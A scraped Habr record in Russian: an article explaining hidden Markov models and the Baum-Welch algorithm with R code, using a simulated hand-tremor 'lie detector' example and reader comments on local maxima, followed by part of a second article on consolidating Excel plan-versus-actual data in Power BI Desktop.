оценочной функции в зависимости от числа итераций алгоритма Баума-Велша. Зеленым цветом отмечена оценка, соответствующая параметрам моделирования. Ошибка в оценке скрытых состояний относительно маленькая, но только когда начальное приближение не сильно отличается от того, что мы хотим найти. Нужно понимать, что алгоритм Баума-Велша всего лишь шаг поиска локального оптимума, а значит, может никогда не достигнуть глобального экстремума. Формулы превращены в картинки с помощью mathurl.com. Надеюсь, когда-нибудь, здесь можно будет вставлять формулы более простым и приятным глазу способом и, кстати, очень не хватает подсветки синтаксиса для R.
<div xmlns="http://www.w3.org/1999/xhtml">Скрытые модели/цепи Маркова одни из подходов к представлению данных. Мне очень понравилось как обобщается множество таких подходов в <a href="http://habrahabr.ru/company/surfingbird/blog/177889/">этой статье</a>.<br/> <br/> В продолжение же моей <a href="http://habrahabr.ru/post/180109/">предыдущей статьи</a> описания скрытых моделей Маркова, задамся вопросом: откуда взять хорошую модель? Ответ достаточно стандартен, взять неплохую модель и сделать из нее хорошую.<br/> <br/> Напомню пример: нам нужно реализовать детектор лжи, который по подрагиванию рук человека, определяет, говорит он правду или нет. Допустим, когда человек лжет, руки трясутся чуть больше, но нам не известно на сколько именно. Возьмем модель наобум, прогоним алгоритм Витерби из предыдущей статьи и получим довольно странные результаты:<br/> <img src="https://habrastorage.org/r/w1560/storage2/e4c/622/5f1/e4c6225f162e1efd9387f0191c1e2b86.png" data-src="https://habrastorage.org/storage2/e4c/622/5f1/e4c6225f162e1efd9387f0191c1e2b86.png"/><br/> <a name="habracut"></a><br/> Никакого смысла в получившемся разбиении нет; точнее, есть, но не то который хотелось бы видеть. Первый вопрос: как оценить вероятность появления имеющейся выборки в выбранной модели. И второй вопрос, как найти такую модель, в которой имеющаяся выборка была бы наиболее правдоподобна, то есть как оценить качество и как организовать адаптивность к новым данным. Как раз на них и отвечают the forward-backward procedure и the Baum-Welch reestimation procedure.<br/> <br/> The forward-backward procedure позволяет оценить вероятность того, что в данной модели HMM появится выборка наблюдаемых значений <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/36b/656/2a8/36b6562a88c03a8fac4b242f1b324f9e.png" alt="O=(o_1,\ldots,o_{T_m})" data-src="https://habrastorage.org/getpro/habr/post_images/36b/656/2a8/36b6562a88c03a8fac4b242f1b324f9e.png"/> (Обозначения взяты из предыдущей статьи). Обозначим оценочную функцию как <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/2b0/bd8/821/2b0bd8821cfba0ca0973a23f06ee3882.png" alt="P(O|HMM)" data-src="https://habrastorage.org/getpro/habr/post_images/2b0/bd8/821/2b0bd8821cfba0ca0973a23f06ee3882.png"/>. И введем две дополнительные функции:<br/> <br/> <pre><code>AlphaFunc&lt;-function(S,I,T,P,O,Tm) { la&lt;-I*Es(P,O[1]) alpha&lt;-cbind(la) for(t in 2:Tm) { la&lt;-as.vector((la*Es(P,O[t]))%*%T) alpha&lt;-cbind(alpha,la) } return (alpha) } BetaFunc&lt;-function(S,I,T,P,O,Tm) { lb&lt;-rep(1,length(S)) beta&lt;-cbind(lb) for(t in Tm:2) { lb&lt;-as.vector(T%*%(Es(P,O[t])*lb)) beta&lt;-cbind(lb, beta) } return (beta) } </code></pre><br/> Функции <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/120/241/fe4/120241fe47b639bdfc2972c5f20b35bf.png" alt="\alpha_t (s)" data-src="http://habrastorage.org/getpro/habr/post_images/120/241/fe4/120241fe47b639bdfc2972c5f20b35bf.png"/>, <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/417/07d/007/41707d0075722e7faebd372015105e94.png" alt="\beta_t (s)" data-src="http://habrastorage.org/getpro/habr/post_images/417/07d/007/41707d0075722e7faebd372015105e94.png"/> обладают следующими интересными свойствами:<br/> <br/> <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/5ad/210/975/5ad210975f48774a6e7cf05905bec343.png" alt="\sum_{s\in S} \beta_1(s)\pi_s f_s(o_1) = \sum_{s\in S} \alpha_{T_m}(s) = P(O|HMM)=\sum_{s\in S} \alpha_t(s)\beta_t(s),\forall t \in \overline{1,T_m}." data-src="http://habrastorage.org/getpro/habr/post_images/5ad/210/975/5ad210975f48774a6e7cf05905bec343.png"/><br/> Итак, мы уже умеем оценивать появление выборки O в модели HMM и находить последовательность скрытых состояний <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/8a2/b60/ebf/8a2b60ebfacb96a0f5706e9203496976.png" alt="Q^*" data-src="http://habrastorage.org/getpro/habr/post_images/8a2/b60/ebf/8a2b60ebfacb96a0f5706e9203496976.png"/>. Открытым остается вопрос, как найти модель, в которой вероятность появления имеющейся выборки будет максимальной, то есть <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/87c/29f/339/87c29f339efbd8e4dbcdeea69c6e7a69.png" alt="P(O|HMM^*)=\max\limits_{HMM\in\Omega}P(O|HMM)" data-src="http://habrastorage.org/getpro/habr/post_images/87c/29f/339/87c29f339efbd8e4dbcdeea69c6e7a69.png"/>, где <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/26e/1ba/d5a/26e1bad5aa12d05a634e00702403776e.png" alt="\Omega" data-src="http://habrastorage.org/getpro/habr/post_images/26e/1ba/d5a/26e1bad5aa12d05a634e00702403776e.png"/> некоторое множество допустимых моделей. Как утверждается, формального алгоритма нахождения оптимума нет, но зачастую можно хотя бы на капельку приблизиться к «совершенству», за счёт некоторой модификации модели. Именно так и работают итерационные <a href="http://ru.wikipedia.org/wiki/EM-%E0%EB%E3%EE%F0%E8%F2%EC">EM-алгоритмы</a>.<br/> <br/> Итак, пусть есть начальная модель <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/fd6/b43/898/fd6b4389832a0e5f709efe6c0f7bb46a.png" alt="HMM^k" data-src="http://habrastorage.org/getpro/habr/post_images/fd6/b43/898/fd6b4389832a0e5f709efe6c0f7bb46a.png"/>необходимо найти такую модель <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/36b/745/9a8/36b7459a8e508df22d3aa8af1eacc778.png" alt="HMM^{k+1}" data-src="http://habrastorage.org/getpro/habr/post_images/36b/745/9a8/36b7459a8e508df22d3aa8af1eacc778.png"/>, что <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/750/117/d31/750117d31106be143d7f87b079b3980b.png" alt="P(O|HMM^{k+1} )\geq P(O|HMM^{k})" data-src="http://habrastorage.org/getpro/habr/post_images/750/117/d31/750117d31106be143d7f87b079b3980b.png"/>. Приступим.<br/> <br/> Введем еще две вспомогательные функции:<br/> <br/> <pre><code>xiGamma&lt;-function(t,alpha,beta,S,T,P,O) { xi&lt;-matrix(0,nrow=length(S),ncol=length(S)) denom&lt;-alpha[,t]%*%beta[,t] for(sin in S) { for(sout in S) { nom&lt;-alpha[sin,t]*T[sin,sout]*Es(P,O[t+1])[sout]*beta[sout,t+1] xi[sin,sout]&lt;-nom/denom } } return(list(xi=xi,g=rowSums(xi))) } XiGammas&lt;-function(Tm,alpha,beta,S,T,P,O) { xis&lt;-c() gs&lt;-c() for(t in 1:(Tm-1)) { xg&lt;-xiGamma(t,alpha,beta,S,T,P,O) xis&lt;-cbind(xis,as.vector(xg$xi)) gs&lt;-cbind(gs,as.vector(xg$g)) } return(list(xi=xis,g=gs)) } </code></pre><br/> <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/67d/c25/dd4/67dc25dd4c0c20055f44bdc1a9cf7ea4.png" alt="\xi(s,s')" data-src="http://habrastorage.org/getpro/habr/post_images/67d/c25/dd4/67dc25dd4c0c20055f44bdc1a9cf7ea4.png"/> интерпретируется как доля переходов из состояния s в состояние s’ в момент времени t, а <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/cb1/2e9/4b3/cb12e94b3d6f4dd224a89c1505a15aab.png" alt="\gamma_t (s)" data-src="http://habrastorage.org/getpro/habr/post_images/cb1/2e9/4b3/cb12e94b3d6f4dd224a89c1505a15aab.png"/> – как общая доля переходов из состояния s в момент времени t.<br/> <br/> Подправленные параметры модели <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/757/251/016/757251016f7c7a0e009d3d478f9fb789.png" alt="HMM^{k+1}=\langle M^{k+1},S^{k+1},I^{k+1},T^{k+1},E^{k+1}\rangle" data-src="http://habrastorage.org/getpro/habr/post_images/757/251/016/757251016f7c7a0e009d3d478f9fb789.png"/> будут иметь следующий вид:<br/> <br/> <pre><code>BaumWelshFunc&lt;-function(S,I,T,P,O,Tm) { a&lt;-alphaLog(S,I,T,P,O,Tm) b&lt;-betaLog(S,I,T,P,O,Tm) xg&lt;-XiGammas(Tm, a,b, S,T,P,O) xi&lt;-rowSums(xg$xi) dim(xi)&lt;-c(length(S),length(S)) g&lt;-rowSums(xi) new_I &lt;- g/sum(g) small_t&lt;-rep(g,length(S)) dim(small_t)&lt;-c(length(S),length(S)) new_T &lt;- xi/small_t norm_params&lt;-NormalReestimation(xg$g,O[1:(Tm-1)],S) new_P&lt;-c() for(s in S) { new_P&lt;-c(new_P,Curry("dnorm",mean=norm_params$mu[s], sd=sqrt(norm_params$sigma2[s]))) } return(list(S=S,I=new_I,T=new_T,P=new_P,N=norm_params)) } </code></pre><br/> Перенастройка функции <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/1e4/83c/c5d/1e483cc5dd367c0055b9d9c8de914deb.png" alt="f_s(o)" data-src="http://habrastorage.org/getpro/habr/post_images/1e4/83c/c5d/1e483cc5dd367c0055b9d9c8de914deb.png"/> (NormalReestimation в нашем случае) зависит от конкретной ситуации. Классическая реализация алгоритма предполагает, что наблюдения описываются конечными дискретными распределениями, что нам не подходит. Предлагается использовать следующий метод оценки параметров для наблюдаемых величин:<br/> <br/> <pre><code>NormalReestimation&lt;-function(g,O,S) { denom&lt;-rowSums(g) mu&lt;-g%*%O/denom sigma2&lt;-c() for(s in S) { s2&lt;-g[s,]%*%(O-mu[s])^2 sigma2&lt;-c(sigma2,s2) } return(list(mu=as.vector(mu),sigma2=sigma2/denom)) } </code></pre><br/> Рассмотрим задачу о детекторе лжи в более общем варианте. У нас есть общая модель того, как наш детектор лжи реагирует на ложь и искренность субъектов и есть конкретный индивид, который иногда врет иногда говорит правду. Мы хотим настроить нашу модель на работу с этим, конкретным индивидом.<br/> <br/> Дано:<br/> <br/> <ul> <li>Модель. Имеются два скрытых состояния, когда сферический человек говорит правду и когда лжет. В том и в другом случае подёргивание рук можно представить как белый шум, но диспер</li> <li>Выборка из 10000 последовательных наблюдений за нашим индивидом.</li> </ul><br/> <br/> Необходимо:<br/> <br/> <ol> <li> Оценить дисперсию подрагивания рук в случае искренности/лжи этого индивида.</li> <li> Определить моменты смены этих состояний для него.</li> </ol><br/> <br/> Решение:<br/> <br/> <ol> <li>Зададим нашу пятерку:<br/> <br/> <ol> <li>Число состояний <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/69f/d82/e61/69fd82e61c861fd32742038b16e7db21.png" alt="M\leftarrow 2" data-src="http://habrastorage.org/getpro/habr/post_images/69f/d82/e61/69fd82e61c861fd32742038b16e7db21.png"/>;</li> <li>Состояния <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/ed8/ea6/a94/ed8ea6a944c0b542bad0960ab16881d9.png" alt="S\leftarrow \{0,1\}" data-src="http://habrastorage.org/getpro/habr/post_images/ed8/ea6/a94/ed8ea6a944c0b542bad0960ab16881d9.png"/>;</li> <li>Начальное распределение <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/d9a/207/e51/d9a207e5196877c249f59cac599b6f98.png" alt="I\leftarrow(1/2,1/2)" data-src="http://habrastorage.org/getpro/habr/post_images/d9a/207/e51/d9a207e5196877c249f59cac599b6f98.png"/>;</li> <li>По умолчанию предположим, что состояния равноправны и скажем смена происходит в среднем, раз в 999 тактов времени:<br/> <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/97b/c3f/c65/97bc3fc658d404cf4b2a2a2672e9a812.png" alt="T\leftarrow\left(\begin{matrix}0.999&amp;0.001\\0.001&amp;0.999\end{matrix}\right)" data-src="http://habrastorage.org/getpro/habr/post_images/97b/c3f/c65/97bc3fc658d404cf4b2a2a2672e9a812.png"/>;</li> <li><img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/9ce/490/747/9ce490747f8d1b5d8f091d0d7c1b8419.png" alt="E=(N(0,1/2\cdot\sigma^2 ),N(0,2 \cdot\sigma^2 ))" data-src="http://habrastorage.org/getpro/habr/post_images/9ce/490/747/9ce490747f8d1b5d8f091d0d7c1b8419.png"/>, где <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/e4d/efe/2d4/e4defe2d4b733f962204a7e16174c4d7.png" alt="\sigma^2=var(X)" data-src="http://habrastorage.org/getpro/habr/post_images/e4d/efe/2d4/e4defe2d4b733f962204a7e16174c4d7.png"/>.<br/> Поясню, что <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/c60/398/7ea/c603987eafb6ba3a939c3642f2887bba.png" alt="var(X)" data-src="http://habrastorage.org/getpro/habr/post_images/c60/398/7ea/c603987eafb6ba3a939c3642f2887bba.png"/> – это выборочная дисперсия для всей выборки целиком. Начальные оценочные функции для <img src="http://habrastorage.org/r/w1560/getpro/habr/post_images/475/be5/4e6/475be54e6435fd900c9766fbf59b4990.png" alt="E_1, E_2" data-src="http://habrastorage.org/getpro/habr/post_images/475/be5/4e6/475be54e6435fd900c9766fbf59b4990.png"/> выбираются таким образом, чтобы первое состояние отвечало меньшим значениям дисперсии, а второе – большим. Существенно, что они разные.</li> </ol></li> <li>Будем перенастраивать параметры с помощью алгоритма Баума-Велша до тех пор, пока значение оценочной функции не стабилизируется.</li> <li>Найдем наиболее правдоподобные скрытые состояния для каждого момента времени с помощью алгоритма Витерби.</li> </ol><br/> <br/> Ответ проиллюстрируем на данных с первой картинки: сверху состояния, как они были заданы при моделировании, снизу состояния, которые были выделены с помощью метода скрытых цепей Маркова.<br/> <br/> <img src="http://habrastorage.org/r/w1560/storage2/f67/7e3/a88/f677e3a88a7e702bfade2e921691e402.png" data-src="http://habrastorage.org/storage2/f67/7e3/a88/f677e3a88a7e702bfade2e921691e402.png"/><br/> На графике ниже приведем значения логарифма оценочной функции в зависимости от числа итераций алгоритма Баума-Велша. Зеленым цветом отмечена оценка, соответствующая параметрам моделирования.<br/> <br/> <img src="http://habrastorage.org/r/w1560/storage2/f99/654/96d/f9965496dd86cb496f94929d4b8bf506.png" data-src="http://habrastorage.org/storage2/f99/654/96d/f9965496dd86cb496f94929d4b8bf506.png"/><br/> Ошибка в оценке скрытых состояний относительно маленькая, но только когда начальное приближение не сильно отличается от того, что мы хотим найти. Нужно понимать, что алгоритм Баума-Велша всего лишь шаг поиска локального оптимума, а значит, может никогда не достигнуть глобального экстремума.<br/> <br/> Формулы превращены в картинки с помощью <a href="http://mathurl.com">mathurl.com</a>. Надеюсь, когда-нибудь, здесь можно будет вставлять формулы более простым и приятным глазу способом и, кстати, очень не хватает подсветки синтаксиса для <a href="http://r-project.org">R</a>.</div>
Сергей Кокорин (kokorins)
null
null
Скрытые модели/цепи Маркова одни из подходов к представлению данных. Мне очень понравилось как обобщается множество таких подходов в <a href="http://habrahabr.ru/company/surfingbird/blog/177889/">этой статье</a>.<br/> <br/> В продолжение же моей <a href="http://habrahabr.ru/post/180109/">предыдущей статьи</a> описания скрытых моделей Маркова, задамся вопросом: откуда взять хорошую модель? Ответ достаточно стандартен, взять неплохую модель и сделать из нее хорошую.<br/> <br/> Напомню пример: нам нужно реализовать детектор лжи, который по подрагиванию рук человека, определяет, говорит он правду или нет. Допустим, когда человек лжет, руки трясутся чуть больше, но нам не известно на сколько именно. Возьмем модель наобум, прогоним алгоритм Витерби из предыдущей статьи и получим довольно странные результаты:<br/> <img src="https://habrastorage.org/storage2/e4c/622/5f1/e4c6225f162e1efd9387f0191c1e2b86.png"/><br/>
Скрытые модели/цепи Маркова одни из подходов к представлению данных. Мне очень понравилось как обобщается множество таких подходов в этой статье. В продолжение же моей предыдущей статьи описания скрытых моделей Маркова, задамся вопросом: откуда взять хорошую модель? Ответ достаточно стандартен, взять неплохую модель и сделать из нее хорошую. Напомню пример: нам нужно реализовать детектор лжи, который по подрагиванию рук человека, определяет, говорит он правду или нет. Допустим, когда человек лжет, руки трясутся чуть больше, но нам не известно на сколько именно. Возьмем модель наобум, прогоним алгоритм Витерби из предыдущей статьи и получим довольно странные результаты:
article
1,375,133,445
{ "commentsCount": 4, "favoritesCount": 187, "readingCount": 23273, "score": 36, "votesCount": 36, "votesCountPlus": 36, "votesCountMinus": 0 }
[]
[ "algorithms" ]
[ "develop" ]
[ "data mining", "алгоритмы классификации", "ужас с формулами в виде картинок", "R" ]
4
null
null
{ "id": [ 6542716, 6545252, 6545358, 6545666 ], "parent_id": [ null, null, 6545252, 6545358 ], "level": [ 0, 0, 1, 2 ], "time_published": [ 1375172569, 1375214040, 1375216490, 1375241705 ], "score": [ 2, 0, 1, 0 ], "votes": [ 4, 0, 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">\" ужас с формулами в виде картинок\" — тэг классный получился)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поправьте пожалуйста, если я ошибаюсь, но разве оценочная функция не имеет локальные максимумы? Разве там не будет другим последний график? <br/>\r\n<br/>\r\nКак выбрать начальное приближение, чтобы не попасть в такой?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Баум доказал теоретически, что алгоритм Велша работает: каждая итерация гарантировано увеличивает целевую функцию. Так что целевая функция будет расти. Другое дело, что нет никакой гарантии, что в итоге мы достигнем глобального максимума, а не локального. <br/>\r\n<br/>\r\nДля борьбы с этим мне известны 4 подхода; ни один из них не позволяет гарантировано найти глобальный максимум, но они позволяют хотя бы найти параметры получше.<br/>\r\n<br/>\r\nПервый подход — пробовать много разных случайных начальных точек, и в конце выбирать лучший результат. Вроде в обработке речи это используют. Баум-Велш сам по себе «тормоз», так что сильно много начальных точек выбирать может быть непрактично.<br/>\r\n<br/>\r\nВторой подход — выбирать начальное приближение исходя из каких-то эвристик, основанных на соображениях из конкретной предметной области. <br/>\r\n<br/>\r\nТретий подход — предварительно натренировать HMM на небольшом количестве обучающих примеров (=supervised), и затем просто пытаться эти параметры улучшить с помощью Баума-Велша на неразмеченных данных (=unsupervised). В статье это как-то явно не выделено; Баум-Велш — алгоритм для обучения без учителя, ему не нужны размеченные данные.<br/>\r\n<br/>\r\nЧетвертый подход — зафиксировать часть параметров HMM исходя из каких-то особенностей предметной области, и обновлять только оставшиеся параметры Баум-Велшем. Например, иногда можно зафиксировать значения P(наблюдаемый символ | состояние) исходя из каких-то соображений, а Баумом-Велшем обновлять (в случае HMM первого порядка) только P(состояние | предыдущее состояние) — в таком случае задача оказывается проще. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Благодарю за развернутый комментарий. Первый, второй и четвертый способы, вроде бы, встречались и были описаны в курсах Coursera («Графические модели», «Нейронные сети» и т.д.). Действительно, оказывается, что он гарантированно сойдется в худшем случае к локальному максимуму, поэтому и с графиком все в порядке. </div>" ], "message_markdown": [ "\" ужас с формулами в виде картинок\" — тэг классный получился)", "Поправьте пожалуйста, если я ошибаюсь, но разве оценочная функция не имеет локальные максимумы? Разве там не будет другим последний график?\nКак выбрать начальное приближение, чтобы не попасть в такой?", "Баум доказал теоретически, что алгоритм Велша работает: каждая итерация гарантировано увеличивает целевую функцию. Так что целевая функция будет расти. Другое дело, что нет никакой гарантии, что в итоге мы достигнем глобального максимума, а не локального.\nДля борьбы с этим мне известны 4 подхода; ни один из них не позволяет гарантировано найти глобальный максимум, но они позволяют хотя бы найти параметры получше.\nПервый подход — пробовать много разных случайных начальных точек, и в конце выбирать лучший результат. Вроде в обработке речи это используют. Баум-Велш сам по себе «тормоз», так что сильно много начальных точек выбирать может быть непрактично.\nВторой подход — выбирать начальное приближение исходя из каких-то эвристик, основанных на соображениях из конкретной предметной области.\nТретий подход — предварительно натренировать HMM на небольшом количестве обучающих примеров (=supervised), и затем просто пытаться эти параметры улучшить с помощью Баума-Велша на неразмеченных данных (=unsupervised). В статье это как-то явно не выделено; Баум-Велш — алгоритм для обучения без учителя, ему не нужны размеченные данные.\nЧетвертый подход — зафиксировать часть параметров HMM исходя из каких-то особенностей предметной области, и обновлять только оставшиеся параметры Баум-Велшем. Например, иногда можно зафиксировать значения P(наблюдаемый символ | состояние) исходя из каких-то соображений, а Баумом-Велшем обновлять (в случае HMM первого порядка) только P(состояние | предыдущее состояние) — в таком случае задача оказывается проще.", "Благодарю за развернутый комментарий. Первый, второй и четвертый способы, вроде бы, встречались и были описаны в курсах Coursera («Графические модели», «Нейронные сети» и т.д.). Действительно, оказывается, что он гарантированно сойдется в худшем случае к локальному максимуму, поэтому и с графиком все в порядке." ], "author": [ "Andrey (AStek)", "Daniyar (Daniyar)", "Коробов Михаил (kmike)", "Daniyar (Daniyar)" ], "children": [ [], [ 6545358 ], [ 6545666 ], [] ] }
262,655
ru
https://habr.com/ru/post/262655/
Простой план-фактный анализ в Power BI Desktop. Часть первая – консолидация и очистка данных
UPD: Обновил публикации в связи с выходом Power BI Desktop из стадии Preview 24 июля. Сегодня хочу рассказать про построение простого дашборда с план-фактным анализом доходов и расходов в Power BI Desktop и Power BI. В первой части рассмотрим работу с запросами, научимся объединять данные из нескольких источников и выполнять их очистку. Исходные данные: несколько файлов Excel в которых хранится информация о показателях доходов и расходов компании за некоторое время. Поскольку форма отчетов и статьи учета несколько раз менялись, то листы с информацией имеют похожую, но не совсем одинаковую структуру. На выходе требуется получить нечто, что позволит руководителям получить представление о том, что происходит с финансами компании Давайте посмотрим, как Power BI Desktop позволит объединить данные и их визуализировать. Рисунок 1. Стартовое окно Power BI Desktop При запуске Power BI Desktop просит указать источник данных или выбрать один из недавних источников. Кстати, по поводу источников – возможно подключение к большому их количеству, включая онлайн и локальные источники. Например, Google Analytics. В нашем случае все отчеты хранятся в одной папке, поэтому выберем в качестве источника «Папка». Такой выбор позволит в дальнейшем добавлять новые отчеты в эту папку и подгружать их данные для анализа нажатием кнопки «Обновить». Рисунок 2. Выбор источника данных После нажатия кнопки «Подключиться» отображается окно предварительного просмотра результатов запроса к источнику данных. Можно загрузить данные «как есть» или перейти в режим редактирования запроса, нажав на кнопку «Изменить». В большинстве случаев результаты запроса требуется обрабатывать. Рисунок 3. Предварительный просмотр результатов запроса После нажатия кнопки «Изменить» автоматически открывается окно «Редактор запросов», в котором можно и нужно выполнить очистку и подготовку данных. Рисунок 4. Окно редактора запросов Как видно на снимке экрана, Power BI Desktop подгрузил файлы из папки и основную метаинформацию. Удалим все столбцы, кроме «Content», «Name» и «Extension». Поскольку имя файла показывает, к какому году относится соответствующий отчёт, мы его для этого и используем. Если нажать на любую строку в столбце «Content», Power BI Desktop откроет содержимое соответствующей книги. Обратите внимание, что в разделе «Параметры запроса» все выполненные шаги записываются и их можно изменять или удалять. Если же открыть окно «Расширенный редактор», то откроется окно, в котором будет виден программный код для всех выполненных действий. Да в Power BI Desktop есть свой язык программирования “M” и это очень круто. Рисунок 5. Расширенный редактор запросов Поскольку для формирование отчета требуется содержимое всех файлов Excel в папке, а не только одного, то я удалю два последних шага и использую некоторые функции языка “M” для парсинга содержимого книг Excel из папки. Перед дальнейшей обработкой данных также нужно учесть то, что в папку могут быть подгружены не только файлы Excel. Поэтому нужно применить фильтр к столбцу «Extension», что позволит исключить ненужные типы файлов. Рисунок 6. Применение фильтра Теперь нужно выполнить «извлечение» содержимого книг Excel. Для этого я добавлю новый столбец, используя функцию Excel.Workbook, которая позволяет «извлекать» содержимое книг Excel. Новый столбец содержит в себе значения типа «Таблица», что позволяет «развернуть» его содержимое на несколько других столбцов. При «развертывании» можно выбирать, какие столбцы будут отображены. В данном случае смысловую нагрузку несут столбцы «Data» и «Item» Рисунок 7. Добавление пользовательского столбца Столбец «Data» содержит в себе данные листов Excel, а «Name» и «Item» я в дальнейшем использую для временных отметок. Поскольку столбец «Name» содержит данные вида yyyy.xlsx, где yyyy это год отчета, то выполним простую операцию разделения данных в столбце. Разделение можно выполнять как по количеству символов, так и по разделителю. В данному случае столбец нужно делить по разделителю. Рисунок 8. Разделение столбца Рисунок 9. Окно настройки параметров разделения столбца После разделения столбца нужно будет его переименовать. Рисунок 9. Окно настройки параметров разделения столбца Рисунок 10. Подготовленный к «развертыванию» запрос Затем я «развертываю» столбец Data и вижу содержимое всех файлов и листов Excel, при этом в виде, который непригоден для построения итоговой отчетности. Но я могу использовать возможности Power BI Desktop для очистки данных. Рисунок 11. Запрос после «развертывания» содержимого файлов 1\. Использую верхние строки как заголовки и затем переименую столбцы. Удалю столбцы «Фактическое отклонение» и «Отклонение в %». В дальнейшем их пересчитаем. 2\. Удалю строки, которые содержат пустые значения и значение «Показатель» в столбце «Показатель», применив фильтрацию. Таким же образом удалю строки, в которых содержатся суммарные значения, например «Итого ЧОД», «Итого» и т.д. Рисунок 12. Меню фильтрации данных 3\. Используя функцию «Замена значений» выполню замену синонимов, например «Доход» и «Доходы». Рисунок 13. Замена значений 4\. Еще немного изучив содержимое столбца «Показатель» обнаруживаю, что все доходы у меня относятся к показателю «Доход» или «Доходы». Всё остальное относится к расходам, что сильно облегчает задачу. Для удобства дальнейшей обработки и фильтрации создам столбец «Категория», который будет содержать значение «Доход», если в столбце «Показатель» присутствует слово «Доход», а во всех остальных случаях примет значение «Расход». Рисунок 14. Добавление столбца «Категория» 5\. Дальше, мне нужно указать, что тип значений в столбцах «План» и «Факт» — десятичное число. Но перед этим мне нужно удалить из содержимого этих столбцов пробелы. 6\. После выполнения операции проверяю столбцы на наличие ошибок и отрицательных значений. Поскольку в нашем случае наличие отрицательного значения означает ошибку ввода, то используя функцию преобразования значений выделяю абсолютное значение в столбцах «План» и «Факт». На этом базовая очистка данных закончена. 7\. Для того, чтобы отображать показатели с привязкой по времени требуется указать дату для каждой записи. В таблице содержится месяц в текстовом виде и год. Для удобства примем, что данные отображаются на конец каждого месяца. Здесь нас подстерегает проблема – язык «М» не позволяет на текущий момент конвертировать названия месяцев в даты. Поэтому потребуется сделать несколько промежуточных шагов. 8\. Создадим новый запрос, который будет содержать названия месяцев и их номера. Для этого создаем пустой запрос, открываем расширенный редактор и вставляем следующий код: `let Source = {"январь", "февраль", "март", "апрель", "май", "июнь", "июль", "август", "сентябрь", "октябрь", "ноябрь", "декабрь"}, #"Converted to Table" = Table.FromList(Source, Splitter.SplitByNothing(), null, null, ExtraValues.Error), #"Added Index" = Table.AddIndexColumn(#"Converted to Table", "Index", 0, 1), #"Added to Column" = Table.TransformColumns(#"Added Index", {{"Index", each List.Sum({_, 1})}}), #"Renamed Columns" = Table.RenameColumns(#"Added to Column",{{"Column1", "Месяц"}}) in #"Renamed Columns" ` Рисунок 15. Добавление пустого запроса 9\. Перехожу в запрос «План-Факт» и объединяю запросы, выбрав нужный тип объединения. Рисунок 16. Объединение запросов 10\. Данные из запроса «Месяцы» добавились как новый столбец. Раскрываю его и теперь у нас есть все данные для формирования даты. Создаю новый столбец с названием «Дата», используя формулу: =Date.EndOfMonth(#date([Год],[Index],1)) Столбец добавлен и он содержит последнее число каждого месяца. Для того, чтобы Power BI Desktop мог группировать даты по месяцам и годам, нужно будет явно задать тип «Date» Рисунок 17. Добавление столбца «Дата» 11\. Удалим столбцы Index, Год и Месяц. Они нам больше не нужны. Затем нужно нажать на кнопку «Закрыть и загрузить», чтобы перейти к моделированию и визуализации данных. На этом базовая часть обработки данных закончена и можно перейти к визуализации. Возможности визуализации данных в Power BI Desktop рассмотрим в следующей части.
<div xmlns="http://www.w3.org/1999/xhtml"><i>UPD: Обновил публикации в связи с выходом Power BI Desktop из стадии Preview 24 июля.</i><br/> <br/> Сегодня хочу рассказать про построение простого дашборда с план-фактным анализом доходов и расходов в <a href="https://powerbi.microsoft.com/desktop">Power BI Desktop</a> и <a href="https://powerbi.microsoft.com/">Power BI</a>. В первой части рассмотрим работу с запросами, научимся объединять данные из нескольких источников и выполнять их очистку.<br/> <br/> <b>Исходные данные:</b> несколько файлов Excel в которых хранится информация о показателях доходов и расходов компании за некоторое время. Поскольку форма отчетов и статьи учета несколько раз менялись, то листы с информацией имеют похожую, но не совсем одинаковую структуру. На выходе требуется получить нечто, что позволит руководителям получить представление о том, что происходит с финансами компании<br/> Давайте посмотрим, как Power BI Desktop позволит объединить данные и их визуализировать.<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/74b/302/516/74b3025165dc49f9aa44a9f51b93c9ed.png" alt="Стартовое окно Power BI Desktop" data-src="https://habrastorage.org/files/74b/302/516/74b3025165dc49f9aa44a9f51b93c9ed.png"/><br/> <i>Рисунок 1. Стартовое окно Power BI Desktop</i><br/> <br/> <a name="habracut"></a><br/> При запуске Power BI Desktop просит указать источник данных или выбрать один из недавних источников. Кстати, по поводу источников – возможно подключение к большому их количеству, включая онлайн и локальные источники. Например, Google Analytics. В нашем случае все отчеты хранятся в одной папке, поэтому выберем в качестве источника «Папка». Такой выбор позволит в дальнейшем добавлять новые отчеты в эту папку и подгружать их данные для анализа нажатием кнопки «Обновить».<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/aa5/275/beb/aa5275beb79c46bc9cf8e7d5eb78d0af.png" alt="Выбор источника данных" data-src="https://habrastorage.org/files/aa5/275/beb/aa5275beb79c46bc9cf8e7d5eb78d0af.png"/><br/> <i>Рисунок 2. Выбор источника данных</i><br/> <br/> После нажатия кнопки «Подключиться» отображается окно предварительного просмотра результатов запроса к источнику данных. Можно загрузить данные «как есть» или перейти в режим редактирования запроса, нажав на кнопку «Изменить». В большинстве случаев результаты запроса требуется обрабатывать.<br/> <br/> <img 